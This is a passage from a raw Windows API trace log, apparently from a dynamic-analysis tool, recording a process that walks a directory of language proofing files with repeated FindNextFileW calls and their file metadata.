lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="engphon.env", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e11b040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="est.hyp", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e11b040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20f800, dwReserved0=0x0, dwReserved1=0x0, cFileName="est133.lex", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e11b040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="est32.clx", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1411a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1029, dwReserved0=0x0, dwReserved1=0x0, cFileName="estphon.env", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="fin.hyp", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="fin32.clx", cAlternateFileName="")) returned 1 [0084.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="fin49.lex", cAlternateFileName="")) returned 1 [0084.354] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="finphon.env", cAlternateFileName="")) returned 1 [0084.354] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="frn.fca", cAlternateFileName="")) returned 1 [0084.354] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="frn.hyp", cAlternateFileName="")) returned 1 [0084.354] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44280, dwReserved0=0x0, dwReserved1=0x0, cFileName="frn21.hsp", cAlternateFileName="")) returned 1 [0084.354] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff6, dwReserved0=0x0, dwReserved1=0x0, cFileName="frn32.clx", cAlternateFileName="")) returned 1 [0084.354] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="frn93.ths", cAlternateFileName="")) returned 1 [0084.354] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gre.fca", cAlternateFileName="")) returned 1 [0084.354] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="gre.hyp", cAlternateFileName="")) returned 1 [0084.354] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48db5, dwReserved0=0x0, dwReserved1=0x0, cFileName="gre110.hsp", cAlternateFileName="")) returned 1 [0084.354] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="gre32.clx", cAlternateFileName="")) returned 1 [0084.354] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="grm.fca", cAlternateFileName="")) returned 1 [0084.354] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb400, dwReserved0=0x0, dwReserved1=0x0, cFileName="grm.hyp", cAlternateFileName="")) returned 1 [0084.354] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de938e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x98af7, dwReserved0=0x0, dwReserved1=0x0, cFileName="grm104.hsp", cAlternateFileName="")) returned 1 [0084.356] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="grm32.clx", cAlternateFileName="")) returned 1 [0084.356] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de938e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc0c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="grm92.ths", cAlternateFileName="")) returned 1 [0084.356] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1411a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x0, dwReserved1=0x0, cFileName="heb.fca", cAlternateFileName="")) returned 1 [0084.356] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1411a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="heb.hyp", cAlternateFileName="")) returned 1 [0084.357] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1411a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb47de, dwReserved0=0x0, dwReserved1=0x0, cFileName="heb134.hsp", cAlternateFileName="")) returned 1 [0084.357] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1411a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fff, dwReserved0=0x0, dwReserved1=0x0, cFileName="heb32.clx", cAlternateFileName="")) returned 1 [0084.357] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3c8900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="hrv.hyp", cAlternateFileName="")) returned 1 [0084.369] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x97000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hrv132.lex", cAlternateFileName="")) returned 1 [0084.370] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="hrv32.clx", cAlternateFileName="")) returned 1 [0084.370] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1ff880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f21, dwReserved0=0x0, dwReserved1=0x0, cFileName="hrvphon.env", cAlternateFileName="")) returned 1 [0084.370] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0ced80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="hun.fca", cAlternateFileName="")) returned 1 [0084.370] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hun.hyp", cAlternateFileName="")) returned 1 [0084.370] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0ced80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9eeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hun109.hsp", cAlternateFileName="")) returned 1 [0084.370] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="hun32.clx", cAlternateFileName="")) returned 1 [0084.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de6d780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="itl.fca", cAlternateFileName="")) returned 1 [0084.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de6d780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="itl.hyp", cAlternateFileName="")) returned 1 [0084.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de6d780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2efe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="itl26.hsp", cAlternateFileName="")) returned 1 [0084.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de6d780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffb, dwReserved0=0x0, dwReserved1=0x0, cFileName="itl32.clx", cAlternateFileName="")) returned 1 [0084.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de6d780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="itl61.ths", cAlternateFileName="")) returned 1 [0084.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0ced80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="lav.hyp", cAlternateFileName="")) returned 1 [0084.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0a8c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="lav135.lex", cAlternateFileName="")) returned 1 [0084.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0ced80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="lav32.clx", cAlternateFileName="")) returned 1 [0084.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0ced80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="lavphon.env", cAlternateFileName="")) returned 1 [0084.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0a8c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="lit.hyp", cAlternateFileName="")) returned 1 [0084.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0a8c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x73800, dwReserved0=0x0, dwReserved1=0x0, cFileName="lit136.lex", cAlternateFileName="")) returned 1 [0084.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0a8c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="lit32.clx", cAlternateFileName="")) returned 1 [0084.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0a8c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa58, dwReserved0=0x0, dwReserved1=0x0, cFileName="litphon.env", 